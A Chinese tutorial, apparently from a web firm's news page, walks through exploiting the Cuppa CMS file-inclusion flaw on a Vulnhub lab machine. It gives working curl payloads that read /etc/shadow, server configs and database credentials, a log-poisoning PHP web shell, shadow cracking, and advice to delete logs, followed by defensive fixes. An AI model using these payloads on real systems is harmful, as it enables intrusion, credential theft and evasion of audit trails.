尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)

Cuppa CMS 文件包含漏洞实战:POST 请求绕过与 /etc/shadow 读取(附 2 种 Payload)
📅 发布时间:2026/7/8 20:44:40

Cuppa CMS 文件包含漏洞深度解析:从原理到实战绕过技巧

1. 漏洞背景与原理剖析

Cuppa CMS 是一款基于 PHP 的开源内容管理系统,其/alerts/alertConfigField.php文件存在严重的文件包含漏洞。该漏洞源于开发者直接使用$_REQUEST["urlConfig"]作为include()函数的参数,且未对用户输入进行任何过滤处理。

漏洞核心代码如下:

<?php include($_REQUEST["urlConfig"]); ?>

这种实现方式导致了以下安全问题:

  • 本地文件包含(LFI):通过目录遍历可读取服务器敏感文件
  • 远程文件包含(RFI):当allow_url_include开启时可执行远程恶意代码
  • PHP 伪协议利用:即使禁用 RFI 仍可通过php://filter获取源码

漏洞危害等级:高危(CVSS 3.1评分 9.8)

提示:文件包含漏洞常被用于读取配置文件、日志文件等,进而获取数据库凭证或实现权限提升。

2. 环境搭建与基础验证

2.1 实验环境准备

推荐使用以下环境进行漏洞复现:

  • 靶机:W1R3S 1.0.1 (Vulnhub)
  • 攻击机:Kali Linux 2023+
  • 网络配置:NAT模式同网段

必要工具清单:

# Kali 基础工具 sudo apt install curl nmap dirsearch john -y # 可选工具 git clone https://github.com/danielmiessler/SecLists.git

2.2 基础漏洞验证

传统 GET 方式测试:

curl "http://target/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../etc/passwd"

常见失败原因分析:

  1. 路径深度不足(需要至少7级../)
  2. 特殊字符被过滤或编码
  3. 服务端配置了请求方法限制

3. POST请求绕过技术详解

3.1 请求方法差异分析

通过对比GET与POST的处理逻辑差异,我们发现:

特性GET请求POST请求
参数位置URL可见请求体隐藏
长度限制约2048字符理论上无限制
数据编码URL编码多种编码可选
安全过滤通常更严格可能绕过部分WAF规则

3.2 有效Payload构造

成功读取/etc/passwd的POST请求:

curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" \ http://192.168.47.154/administrator/alerts/alertConfigField.php

关键技巧:

  • 使用绝对路径遍历(至少8级../)
  • 对特殊字符进行URL编码
  • 添加随机请求头规避基础防护

3.3 敏感文件读取实战

读取Linux系统关键文件:

1. 用户账户信息

# 读取/etc/passwd curl -X POST -d "urlConfig=../../../../../../../../../etc/passwd" $TARGET # 读取/etc/shadow(需root权限) curl -X POST -d "urlConfig=../../../../../../../../../etc/shadow" $TARGET

2. Web服务器配置

# Apache配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/apache2/apache2.conf" $TARGET # Nginx配置 curl -X POST -d "urlConfig=../../../../../../../../../etc/nginx/nginx.conf" $TARGET

3. 数据库凭证获取

# Cuppa CMS配置文件 curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php" $TARGET | base64 -d

4. 漏洞利用进阶技巧

4.1 伪协议利用

当目录遍历被限制时,PHP伪协议是绝佳的替代方案:

1. 源码泄露

curl -X POST -d "urlConfig=php://filter/convert.base64-encode/resource=index.php" $TARGET | base64 -d

2. 文件包含结合日志注入

# 注入PHP代码到访问日志 curl -A "<?php system(\$_GET['cmd']); ?>" $TARGET # 包含日志文件执行代码 curl -X POST -d "urlConfig=../../../../../../../../../var/log/apache2/access.log" $TARGET

4.2 权限提升路径

通过文件包含获取敏感信息后的典型提权路径:

  1. 数据库凭证提取→ SQL注入/直接登录
  2. SSH私钥发现→ 私钥登录尝试
  3. 配置文件泄露→ 查找硬编码凭证
  4. Cron任务分析→ 寻找可写脚本

在W1R3S靶场中,通过读取shadow文件并破解哈希后,发现用户w1r3s具有sudo权限:

$ sudo -l User w1r3s may run the following commands on this host: (ALL : ALL) ALL

5. 防御方案与修复建议

5.1 临时缓解措施

对于无法立即升级的系统:

1. 输入过滤

$allowedPaths = ['config/','alerts/']; $urlConfig = $_REQUEST['urlConfig']; if(!in_array(dirname($urlConfig), $allowedPaths)){ die('Invalid path!'); }

2. 文件白名单

$allowedFiles = ['config.ini','settings.php']; if(!in_array(basename($urlConfig), $allowedFiles)){ die('File not allowed!'); }

5.2 彻底修复方案

  1. 升级到最新安全版本
  2. 禁用危险PHP函数(allow_url_include=Off)
  3. 实施最小权限原则(Web用户只读权限)
  4. 部署WAF规则拦截恶意包含请求

5.3 安全开发规范

安全文件包含实现模板:

<?php $baseDir = '/var/www/cuppa/'; $requestedFile = $_GET['file']; $absolutePath = realpath($baseDir . $requestedFile); // 验证路径是否在白名单内 if(strpos($absolutePath, $baseDir) !== 0){ die('非法访问!'); } // 验证文件扩展名 $allowedExt = ['php','html','txt']; $ext = pathinfo($absolutePath, PATHINFO_EXTENSION); if(!in_array($ext, $allowedExt)){ die('不支持的文件类型!'); } include($absolutePath); ?>

6. 渗透测试方法论总结

在实战渗透测试中,遇到类似漏洞时应遵循以下流程:

  1. 信息收集:识别CMS版本和已知漏洞
  2. PoC验证:测试基础漏洞是否存在
  3. 绕过尝试:变换请求方法/编码方式
  4. 权限提升:利用获取的信息扩大访问范围
  5. 痕迹清理:删除日志和临时文件

典型踩坑记录:

  • 使用John破解shadow文件时,注意清除~/.john/john.pot避免重复破解
  • 某些系统对路径长度有限制,需要优化../数量
  • 不同PHP版本对伪协议的支持存在差异

相关新闻

  • 2026最新5款AI编程平替工具vibe coding深度实测
  • Burp Suite Turbo Intruder 并发测试:3个真实SRC案例复现与脚本分析
  • Nacos <=2.2.0 JWT 默认密钥漏洞复现:3步构造有效Token接管后台

最新新闻

  • Samba 4.15.13 多用户权限配置:5步实现Windows/Linux混合环境共享
  • Windows PowerShell 与 CMD 环境变量差异:SSH命令失效的2种排查路径
  • 系统调用 vs 中断 vs 进程切换:Linux 性能分析中 3 类上下文切换的区分与观测
  • Windows 11 下 PyTorch GPU 环境排错:CUDA 12.4 与 cuDNN 9.2 兼容性验证 3 步法
  • 【Copilot Workspace高阶实战指南】:20年微软生态专家亲授5大避坑法则与提效300%的隐藏工作流
  • Alfred vs Raycast 深度对比:2024年Mac效率工具选型指南

日新闻

  • PROPKA 3深度解析:蛋白质pKa预测的实战指南与算法原理
  • 微信小程序 globalData 监听:基于 Object.defineProperty 的 3 种实现方案对比
  • MySQL 8.0 数据清洗实战:3类异常值识别与 UPDATE/DELETE 批量处理

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号